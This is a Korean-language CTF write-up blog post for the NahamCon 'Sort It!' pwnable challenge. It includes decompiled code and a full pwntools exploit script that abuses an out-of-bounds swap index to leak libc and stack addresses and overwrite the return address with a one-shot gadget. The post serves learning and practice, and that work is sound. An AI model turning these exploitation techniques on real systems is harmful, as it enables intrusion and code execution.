Pwnstar

nahamcon CTF Sort It! 본문

CTF

nahamcon CTF Sort It!

포너블처돌이 2021. 3. 15. 11:15

요즘 주말마다 공부할 겸 한 문제라도 풀어보자라는 마인드로 CTF를 하나씩 참가하고 있는데, 계속 포너블만 조지다보니 그래도 조금씩 풀 수 있는 문제가 늘어나는 것 같다. 일요일에는 보통 데이트를 해서 토요일 하루만 빡세게 푸는데, 이번 씨텦에서 난이도가 높은 문제는 하나도 못풀어서 좀 아쉽다...그래도 5문제 정도 풀었는데, 너무 쉬운 문제나, 기록할만하지 않은 문제는 빼고 라업을 작성해야겠다.

 

쉬운 난이도 문제 두 개는 다 패스하기로 했다. 너무 쉬웠음;

중간 난이도 문제들이 적당히 어렵고 재밌었는데 sort it 부터 보자.

64비트 바이너리에 보호기법이 전부 걸려있다.

실행을 해 보면

단어들을 알파벳 순서대로 나열하라고 한다.

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  __int64 v4; // rdx
  __int64 v5; // rsi
  __int64 v6; // rdx
  char v8; // [rsp+Fh] [rbp-71h]
  __int64 v9; // [rsp+10h] [rbp-70h]
  __int64 v10; // [rsp+18h] [rbp-68h]
  __int64 v11; // [rsp+20h] [rbp-60h]
  __int64 v12; // [rsp+28h] [rbp-58h]
  __int64 v13; // [rsp+30h] [rbp-50h]
  __int64 v14; // [rsp+38h] [rbp-48h]
  __int64 v15; // [rsp+40h] [rbp-40h]
  __int64 v16; // [rsp+48h] [rbp-38h]
  __int64 v17; // [rsp+50h] [rbp-30h]
  __int64 v18; // [rsp+58h] [rbp-28h]
  __int64 v19; // [rsp+60h] [rbp-20h]
  __int64 v20; // [rsp+68h] [rbp-18h]
  unsigned __int64 v21; // [rsp+78h] [rbp-8h]

  v21 = __readfsqword(0x28u);
  v8 = 0;
  v11 = 'egnaro';
  v12 = 'eton';
  v13 = 'elppa';
  v14 = 'puc';
  v15 = 'daerb';
  v16 = 'arbez';
  v17 = 'dnah';
  v18 = 'naf';
  v19 = 'noil';
  v20 = 'licnep';
  clear(*(_QWORD *)&argc, argv, envp);
  puts("Sort the following words in alphabetical order.\n");
  print_words(&v11);
  v3 = "Press any key to continue...";
  printf("Press any key to continue...");
  getchar();
  while ( v8 != 1 )
  {
    clear(v3, argv, v4);
    print_words(&v11);
    printf("Enter the number for the word you want to select: ");
    __isoc99_scanf("%llu", &v9);
    getchar();
    --v9;
    printf("Enter the number for the word you want to replace it with: ");
    __isoc99_scanf("%llu", &v10);
    getchar();
    --v10;
    v5 = v9;
    swap(&v11, v9, v10);
    clear(&v11, v5, v6);
    print_words(&v11);
    printf("Are the words sorted? [y/n]: ");
    argv = (const char **)(&word_10 + 1);
    v3 = &yn;
    fgets(&yn, 17, stdin);
    if ( yn != 110 )
    {
      if ( yn != 121 )
      {
        puts("Invalid choice");
        getchar();
        exit(0);
      }
      v8 = 1;
    }
  }
  if ( (unsigned int)check(&v11) )
  {
    puts("You lose!");
    exit(0);
  }
  puts("You win!!!!!");
  return 0;
}

메인함수를 보면 자리를 바꿀 두 단어의 번호를 선택해서 두 단어의 위치를 swap함수를 이용해서 바꾸는데 단어는 10개인데, 선택할 수 있는 번호는 제한이 없어서 oob가 발생한다. 그리고 바꾸고 난 이후에 모든 단어를 정렬했는지 물어보는 부분에서 n을 입력하면 계속 단어들을 출력해주고 바꿀 수 있기 때문에 이 부분으로 릭을 할 수 있다.

libc파일이 주어지기 때문에 oneshot가젯을 쓰려면 우선 libc의 주소와 oneshot가젯을 입력할 부분이 필요했다. libc의 주소는 14번의 위치에 담겨 있어서 이걸 이용해서 leak을 하면 되고, 원샷 가젯은 전역변수 yn에 입력하기로 했다. 딱 17만큼만 입력할 수 있는 걸 보니 대놓고 이용하라고 써있는 것 같았다ㅋㅋ

그리고 스택의 주소를 기준으로 값이 어디에 위치하는 지 찾기 때문에, 스택의 주소도 leak해주어야 한다.

이후에는 스택의 주소에서 yn+8의 주소를 뺀 후 8로 나눠서 14와 바꿔주면 rip를 oneshot으로 덮어줄 수 있다.

ex.py

from pwn import*
import argparse

'''
1. orange
2. note
3. apple
4. cup
5. bread
6. zebra
7. hand
8. fan
9. lion
10. pencil
'''

def swap(num, num2, yn):
    p.sendlineafter("select: ", str(num))
    p.sendlineafter("with: ", str(num2))
    p.sendlineafter("[y/n]: ", yn)

def exp():
    p.recvuntil("continue...")
    p.sendline()

    swap(1, 3, "n")
    swap(2, 5, "n")
    swap(3, 4, "n")
    swap(4, 8, "n")
    swap(5, 7, "n")
    swap(6, 9, "n")
    swap(9, 10, "n")

    #leak
    swap(10, 14, "n")
    p.recvuntil("10. ")
    libc_start = u64(p.recv(6) + "\x00\x00")
    log.info(hex(libc_start))
    libc = libc_start - 0x270b3
    oneshot = libc + 0xe6c81 
    log.info(hex(libc))
    log.info(hex(oneshot))
    swap(14, 10, "n"*0x8 + p64(oneshot))       #recover

    #leak yn address
    swap(10, 18, "n")
    p.recvuntil("10. ")
    yn = u64(p.recv(6) + "\x00\x00") + 0x2c91 + 8
    log.info(hex(yn))
    swap(18, 10, "n")

    #leak stack address
    swap(10, 11, "n")
    p.recvuntil("10. ")
    stack_addr = u64(p.recv(6) + "\x00\x00") - 0x150
    log.info(hex(stack_addr))
    idx = (yn - stack_addr + 8) / 8
    swap(11, 10, "n")

    #exploit
    swap(idx, 14, "y")

    p.interactive()

if __name__ == '__main__' :
    context.arch = 'amd64'
    #context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

    parser = argparse.ArgumentParser()
    parser.add_argument('-r', '--remote', action='store_true')
    args = parser.parse_args()

    if args.remote :
        p = remote("challenge.nahamcon.com", 31503)
    else:
        env = {'LD_PRELOAD' : "./libc-2.31.so"}

        p = process(['./sort_it'], env=env)
        pie = p.libs()['/home/pwnstar/ctf/naham/sort/sort_it']
        bp = pie + 0x0000000000001256
        bp_check = pie + 0x000000000000147B
        script='''
        b*{}
        b*{}
        '''.format(hex(bp), hex(bp_check))
        gdb.attach(p, script)

    exp()

 

음 문제가 막 어려웟다기보단 풀기 재밌었다.

'CTF' 카테고리의 다른 글

nahamconCTF some-really-ordinary-program  (0) 2021.03.15
nahamconCTF Rock Paper Scissors  (0) 2021.03.15
zer0ptsCTF oneshot  (0) 2021.03.08
diceCTF flippidy  (0) 2021.02.08
CSAW CTF bard's fail  (0) 2020.09.18
Comments